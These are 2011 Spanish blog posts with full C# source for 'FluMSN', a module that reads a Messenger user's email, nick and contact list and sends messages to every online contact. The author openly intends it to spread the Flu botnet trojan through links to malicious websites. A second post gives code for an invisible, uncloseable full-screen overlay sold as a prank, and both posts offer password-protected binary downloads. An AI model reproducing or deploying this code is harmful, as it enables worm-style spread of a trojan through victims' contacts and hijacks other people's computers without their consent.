martes, 25 de enero de 2011

POC - FLU MSN

He creado un formulario para mostrar el funcionamiento de la clase FluMSN de la que hablé en el anterior post.

Para ello he puesto unas cuantas labels para mostrar el nick, estado y dirección de e-mail. Un par de ListBox que relleno con los contactos y un textbox junto a un botón para poder enviar mensajes a quellos contactos que estén conectados.


Descargar POCFluMSN.
Contraseña: p4p4y4

MD5: d19800f912af90f932d8b5aa51d0b89b
SHA-1: 5bd2a90326825e18851383260f9ff23dada0bef4

domingo, 23 de enero de 2011

FluMSN

En el anterior post comentaba como hacer una rápida y simple broma en C#. Dicho código lo compartí en el foro de Flu Project. Para explicar que es, un extracto de su web:
El proyecto consiste en el desarrollo de una aplicación para el control remoto de máquinas Windows a través del troyano Flu, orientado a la generación de botnets a través de la tecnología HaaS (Hacking as a Service).
Pensando en su propagación pensé que una vía puede ser a través de mensajería instantánea y al tratarse de un troyano enfocado principalmente en Windows, que mejor que Msn Messenger. Pues, ¡manos a la obra!

Mis propósitos eran:
  • Obtener e-mail y nick del usuario. [Conseguido]
  • Listado de todos sus contactos. [Conseguido]
  • Listado de contactos conectados para actuar con ellos de la siguiente manera: [Conseguido]
  • Enviar mensajes (¿Web maliciosa?). [Conseguido]
  • Enviar ficheros. [Por Conseguir]
He estado haciendo pruebas a través de la API de Messenger y el nuevo Windows Live Messenger 2011, concretamente con la compilación 15.4.3502.922.

El método SendFile no me funcionaba y no sé si porque no es compatible con esta versión del messenger. Si alguien pude probarla en versiones anteriores y comentarme resultados sería de agradecer. ;-)

Para el uso de la API se ha de agregar la referencia MessengerAPI desde COM.

Ni que decir tiene, que funciona siempre y cuando estemos conectados.

La publicación en el foro de Flu Project la podéis ver en este enlace.

Aquí tenéis el código.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Messenger_Robe_
{
class FluMSN
{
MessengerAPI.Messenger MSN = new MessengerAPI.Messenger();
private string errorGral = "Se produjo un error. Es posible que el usuario no esté conectado";
private List contactos=new List();

public string NombreUsuario()
{
try
{
return MSN.MyFriendlyName;
}
catch
{
return errorGral;
}
}
public string EmailUsuario()
{
try
{
return MSN.MySigninName;

}
catch
{
return errorGral;
}
}
public string EstadoUsuario()
{
try
{
return MSN.MyStatus.ToString();
}
catch
{
return errorGral;
}
}

public List ObtenerTodosContactos()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
contactos.Add(contact.SigninName);
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public List ObtenerContactosConectados()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
if (contact.Status != MessengerAPI.MISTATUS.MISTATUS_OFFLINE)
{
contactos.Add(contact.SigninName);
}
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public void EnviarMensaje(List contactos, string mensaje)
{
try
{
foreach (string usuario in contactos)
{
if (MSN.MyStatus.ToString() == "MISTATUS_INVISIBLE")
{
MSN.InstantMessage(usuario);
SendKeys.Send("{ENTER}");
SendKeys.Send("{ENTER}");
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
else
{
MSN.InstantMessage(usuario);
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
}
}
catch
{
}
}

//public void EnviarArchivo(List contactos, string archivo)
//{

// try
// {
// foreach (string usuario in contactos)
// {
// MSN.SendFile(usuario, archivo);
// }
// }
// catch (Exception e)
// {
// MessageBox.Show(e.ToString(),"Error");
// }
//}
}
}

sábado, 22 de enero de 2011

NoMoreClicks: Una broma rápida en C#

Se me ha ocurrido que con pocas líneas de código podemos gastar una pequeña broma a nuestro compañero de oficina, clase,etc.

La idea es crear un formulario transparente, sin bordes, que ocupe toda la pantalla y no aparezca en la barra de herramientas al ejecutarlo. Por cada click con el ratón por parte del usuario, la aplicación invisible le devuelve un mensaje con el texto que hayamos predeterminado. También pensé en que no pudiese ser cerrado al pulsar las teclas Alt+F4.

Para ello se han de cambiar unas cuantas propiedades del Form, crear un array de cadenas de texto con los mensajes que queramos y un par de eventos para capturar los clicks del ratón y el que no pueda ser cerrada "fácilmente".

Aquí os dejo el código:
using System;
using System.Windows.Forms;
using System.Net;

namespace NoMoreClicks
{
public partial class Form1 : Form
{
//Declaramos un array de cadena y lo inicializamos con los mensajes que queramos mostrar por cada click
string[] mensajes = { "No pinches.", "¡Qué no pinches!", "¿Por qué pinchas?", "¿Cómo hay que decírtelo?", "¿No vas a parar?"};

//Un entero que almacenará en que posición del array estaremos
int contador = 0;



public Form1()
{

InitializeComponent();
}

//Evento click del Form
private void Form1_Click(object sender, EventArgs e)
{

try
{
//Mostramos el mensaje correspondiente e incrementamos el contador para pasar al siguiente mensaje
MessageBox.Show(mensajes[contador],Dns.GetHostName());
contador++;
}
catch
{
//No quedan más mensajes por mostrar y a partir de ese momento sólo se mostrará el siguiente
MessageBox.Show("No insistas", Dns.GetHostName());
}

}

private void Form1_Load(object sender, EventArgs e)
{
//Cambiamos unas cuantas propiedades del Form para que sea transparente, pantalla completa, sin bordes, etc
this.Opacity = 0.01;
this.ShowInTaskbar = false;
this.ShowIcon = false;
this.FormBorderStyle = FormBorderStyle.None;
this.Height=Screen.PrimaryScreen.Bounds.Height;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Top = 0;
this.Left = 0;
}

//Evento FormClosing para que no puedan cerrar la aplicación con Alt+F4 por ejemplo
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}


}
}
Probadlo y ya me comentaréis si hubo éxito o no.

He pasado el código por el foro de Flu Project por si les interesa y lo incluyen en su aplicación. ¿Qué no sabes qué es eso de Flu Project? Entra en su web y echa un vistazo.

Si alguien quiere probarla directamente:

Descargar NoMoreClicks.
Contraseña: 45p4r4gu5

MD5: e0876057fdd1ff2645386cb402bc6172
SHA-1: 1fd3dda4f9522d0958125811c0e044180861d5c3